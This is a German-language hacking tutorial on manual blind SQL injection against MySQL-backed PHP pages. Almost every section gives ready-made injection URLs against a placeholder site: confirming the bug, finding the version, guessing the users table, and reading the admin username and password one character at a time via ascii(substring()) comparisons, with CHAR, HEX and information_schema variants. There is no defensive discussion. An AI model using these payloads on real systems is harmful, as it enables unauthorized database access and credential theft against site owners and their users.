Whitepaper that discusses remote blind SQL injection attacks in detail. Written in German.
42dfb7664f17cc3f790cbd242aaaac8493154a617b2595c33c22727656a90308
*******************************************************
# WEBSECURITY DOCUMENTATION #
# -------------------------------------- #
# Blind SQL Injection #
# -------------------------------------- #
# #
# #
# written by fred777 [fred777.5x.to #
# #
******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--[0x00]-- Intro
--[0x01]-- Knowledge
[1] Vuln Check
[2] Blind
--[0x02]-- Exploiting
[1] Substring
[2] Subqueries
[3] ASCII
[4] Werte auslesen
[5] CHAR
[6] HEX
[7] Information_schema
--[0x03]-- Finito
********************************************************
##################################################
--[0x00]-- Intro
Willkommen zu einem weiteren Tutorial über SQL-Injections von mir. Diesmal wird es
um Blind Injections gehen. Wir werden hier alles von Hand machen, doch zwingt euch keiner
nicht einfach Scripte zur Hand zu nehmen.
###########################################################
--[0x01]-- Knowledge
Bis jetzt hatten wir immer eine Ausgabe, wir verbanden den SELECT-Query mittels UNION
mit unserem SELECT-Query und killten das Resultat auf eine leere Menge, meistens mit einem
- oder einer nicht existierenden Zahl. Nun finden wir wieder einen Bug, welcher den Anschein
erweckt, dass sich der Query manipulieren lässt.
-------------------------------------------------------
[1] Vuln Check
-------------------------------------------------------
www.seite.de/index.php?id=777 => Alles wird normal dargestellt
www.seite.de/index.php?id=777' => Die Seite wird nicht korrekt dargestellt
Man sollte bedenken, dass nicht in allen dieser Fälle eine Lücke besteht, das müssen wir ebenfalls
erst testen und zwar mittels eines Tricks, wir stellen dem Query eine mathematische Aufgabe, geht
er darauf ein und beantwortet diese ist er manipulierbar, ansonsten sollte keine Lücke vorhanden sein.
Die einfachste Aufgabe wird wohl sein 1=1, natürlich ist das wahr, also true, 1=0 ist falsch, also false
mit AND hängen wir unsere Aufgabe an den Query dran, das sollten wir noch aus Paper 1 kennen:
www.seite.de/index.php?id=777 and 1=1 => Alles wird korrekt dargestellt
www.seite.de/index.php?id=777 and 1=0 => Die Seite wird nicht korrekt dargestellt
Aha, der Query ist auf unsere Aufgabe eingegangen und hat mit "ja" und "nein" geantwortet.
Wo ich Leerzeichen verwenden, könnt ihr auch + oder /**/ verwenden, nebenbei könnte es
sein, dass ihr unnötigen Rest vom ersten Query entfernen müsst, dass könnt ihr mit einem Comment
machen, Je nach Query könnt es ebenfalls sein, dass ihr bei AND 1=1 das Hochkomma beibehalten
müsst, also:
www.seite.de/index.php?id=777' and 1=1-- f
Es heißt hier einfach ausprobieren, es sei denn euch liegen die Scripte vor, dann könnt ihr euch
die Datenbankabfrage anschauen.
-------------------------------------------------------
[2] Blind
-------------------------------------------------------
Wie sind wir bisher vorgegangen, genau, wir haben mit ORDER BY die Columns gecheckt, also los
www.seite.de/index.php?id=777 order by 1 => Seite wird richtig dargestellt
www.seite.de/index.php?id=777 order by 7 => Seite wird richtig dargestellt
www.seite.de/index.php?id=777 order by 8 => Seite wird fehlerhaft dargestellt
Nun kennen wir auch schon das Spiel mit UNION und SELECT...
www.seite.de/index.php?id=777 union select 1,2,3,4,5,6,7-- f
Doch was ist das? Es erfolgt keine Ausgabe, auch wenn wir das Resultat des ersten Querys
ungültig machen:
www.seite.de/index.php?id=-657567567777 union select 1,2,3,4,5,6,7-- f
Jetzt sind wir an dem Punkt uns einen neuen Weg zu überlegen, erinnern wir uns nochmal an unsere
Rechenaufgabe, da hat der Query reagiert, könnten wir dann nicht auch fragen, ob das PW des Users
mit A, oder O anfängt?
##################################################################
--[0x02]-- Exploiting
Richtig, und genau das werden wir versuchen, wir können wie auch bei einer normalen Injection, falls
die MySQL-Version 5 beträgt auf die Information_schema zugreifen, falls es Version 4 ist, müssen wir eben
raten, das auslesen aus information_schema mittels Blind kann sehr aufwendig werden, deshalb werden
gerne Scripte benutzt.
-------------------------------------------------------
[1] Substring
-------------------------------------------------------
Um auf diese Art Werte auszulesen, benutzen wir eine neue Funktion, SUBSTRING:
Der Syntax lautet:
SUBSTRING(stringoderwort,start,länge)
stringoderwort ist unser String, start bestimmt die Rückgabe des ersten Wertes und länge bestimmt
wieviele Werte zurückgegeben werden ab start.
Uns würde also ausgegeben bei SUBSTRING(stringoderwort,4,3) => ing
Nun, so können wir auch die Version bestimmen, sie fängt entwedern mit 4.x.x.x oder mit 5.x.x.x an
Also sagen wir, dass wir nur den ersten Wert haben möchte, da dieser entscheidend ist, die Version liegt
wie wir wissen unter 'version()' und die Abfrage gestalten wir wie vorher mit AND:
AND SUBSTRING(version(),1,1)=5
www.seite.de/index.php?id=777 AND SUBSTRING(version(),1,1)=4 => Seite wird nicht normal dargestellt
www.seite.de/index.php?id=777 AND SUBSTRING(version(),1,1)=5 => Seite wird normal dargestellt
Aha, folglich ist der erste Wert von version() eine 5 und somit können wir auf die
information_schema zugreifen..
-------------------------------------------------------
[2] Subqueries
-------------------------------------------------------
Wie bei einer normalen Injection auch, möchten wir den User aus der Usertable haben.
Da wir sowieso mit Version 5 arbeiten, könnten wir die Information_schema Datenbank nutzen,
was sehr lange dauern kann, oder wir fragen erstmal auf Gutglück, ob einige Namen existieren, wie
die Table 'users' z.B.
Dafür können wir Subqueries benutzen, d.h. wir fragen ob es wenn wir von der Table users etwas auswählen
true ergibt, dafür benutzen wir einen Query und setzen ihn gleich 1 (true). Wie bei der Mathematik werden
Klammern benutzt.
Wichtig, dies geht nur bei Version 4.1 oder größer. Bei älteren Versionen müsste man mit
Timecheck wie z.B. Benchmark arbeiten, was wesentlich komplizierter ist. Ich werde es wahrscheinlich
im nächsten Paper zeigen.
Nun aber zum Thema, erstmal testen wir es mit select, sollte select nicht funktionieren, steht
false gegen true und ist somit invalid.
www.seite.de/index.php?id=777 and (select 1)=1 => Seite wird normal dargestellt
Somit können wir mit einem subselect schonmal arbeiten, select 1 ist true und wird mit 1 verglichen,
was ebenfalls true ergibt.
www.seite.de/index.php?id=777 and (select 1 from user limit 0,1)=1 => Seite wird nicht richtig dargestellt
Also gibt es die Table 'user' schonmal nicht, versuchen wir es mit users:
Wichtig: limit ist hier erforderlich, da es sich um einen Subquery handelt, dieser gibt kann nur einen
Wert zurückgegeben, deshalb beschränken wir es auf limit 0,1!
www.seite.de/index.php?id=777 and (select 1 from users limit 0,1)=1 => Seite wird richtig dargestellt
Oh, users existiert schonmal, fehlen noch die zugehörigen Columns, schauen wir weiter, natürlich
könntet ihr jetzt auch mit WHERE und information_schema arbeiten:
www.seite.de/index.php?id=777 and (select substring(password,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt
www.seite.de/index.php?id=777 and (select substring(pass,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt
www.seite.de/index.php?id=777 and (select substring(user,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt
www.seite.de/index.php?id=777 and (select substring(username,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt
Ok, somit hätten wir durch raten die Table und die Columns, es ist zwar Version 5, doch ohne Script aus
information_schema lesen ist sehr langwierig. Ich gehe später darauf ein, wie man es bei Bedarf trotzdem
machen könnte.
-------------------------------------------------------
[3] ASCII
-------------------------------------------------------
Nun, da wir die Namen der Tables und Columns haben, starten wir einen normalen Query mittels Substring,
jetzt werden wir Wert für Wert auslesen und nicht mehr testen ob es nur existiert oder nicht.
Fangen wir mit 'username' an.
------------------------
Wir werden beim Auslesen mit ASCII arbeiten, HEX ginge zwar auch, doch so finde ich es leichter..
ASCII ist eine Zeichencodierungsform welche mit 7 Bits arbeitet, für weitere Informationen, bitte selber Googlen.
Was wir brauchen werden ist eine ASCII-Tabelle, um die ausgelesenen ASCII-Werte in unsere Zeichen
umrechnet, so wie z.B. diese:
https://www.torsten-horn.de/techdocs/ascii.htm
So ist z.B. der ASCII-Wert 97 ein a
------------------------
Wir werden den ersten Wert des usernames jetzt auslesen, damit wir ascii-zeichen bekommen, benutzen wir ascii:
ASCII()
Nun brauchen wir für username unseren substring, welcher in ascii() hineinkommt, da wir jedes Zeichen einzeln
auslesen werden.
ascii(SUBSTRING())
Nun selektieren wir username:
ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))
Und zu letzt vergleichen wir mit unserem true/false-Verfahren das Resultat mit einem ASCII-Wert
Hierfür können wir >,< und = benutzen, wir fangen mit >1 an, da es immer true ergibt
-------------------------------------------------------
[4] Werte auslesen
-------------------------------------------------------
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>1-- f => true
Wir fragen also, ob der ersten Buchstabe vom ersten User aus 'users' größer ist als Ascii 1
Jetzt gehen wir höher und grenzen den Bereich ein:
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>100-- f => false, er ist nicht größer
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>96-- f => true, er ist größer
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))<97-- f => false, er ist nicht kleiner als 97
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97-- f => true, er ist gleich 97
Rechnen wir schnell um, ein a, also ist der erste Buchstabe vom username ein a
Wenn ihr den zweiten auslesen wollt, fangt ihr bei der zweiten Stelle an, bleibt aber bei der Länge 1, so macht ihr
per Hand weiter, bis der ASCII-Wert unter 32 liegt, hier kommen die Steuerzeichen und der String ist zu Ende.
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),2,1))>100-- f
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),6,1))=31-- f => true, der String ist zu Ende
Der username heißt admin.
Das Gleiche macht ihr mit dem Passwort:
www.seite.de/index.php?id=777 and ascii(substring((SELECT pass FROM users LIMIT 0,1),1,1))>100-- f => false, er ist nicht größer
-------------------------------------------------------
[5] CHAR
-------------------------------------------------------
Eine andere Möglichkeit währe, anstatt ascii() die Funktion char() zu benutzen, das sähe dann so aus:
www.seite.de/index.php?id=777 and substring((SELECT pass FROM users LIMIT 0,1),1,1)>char(100)-- f => false, er ist nicht größer
-------------------------------------------------------
[6] HEX
-------------------------------------------------------
Auch mittels hex Codierung ist es kein Problem. Der Buchstabe wird simple in Hex umgewandelt.
www.seite.de/index.php?id=777 and substring((SELECT pass FROM users LIMIT 0,1),1,1)=0x41-- f => false, falls nicht 'A'
-------------------------------------------------------
[7] Information_schema
-------------------------------------------------------
So, wenn ihr aus der Information_schema table auslesen wollt, geht das genauso:
www.seite.de/index.php?id=777 and ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))>1
Schemata für Datenbanken
www.seite.de/index.php?id=777 and ascii(substring((select table_name from information_schema.columns limit 0,1),1,1))>1
Table_name für Columns
www.seite.de/index.php?id=777 and ascii(substring((select column_name from information_schema.columns limit 0,1),1,1))>1
Column_name für Columns
####################################################################################
--[0x03]-- Finito
Ok, das wars auch schon wieder, ich hoffe ich habe nichts vergessen zu erklären, und falls Fortgeschrittene sich fragen was mit
ifnull() oder if() ist, das erkläre ich in einem anderen Paper..
fred777.5x.to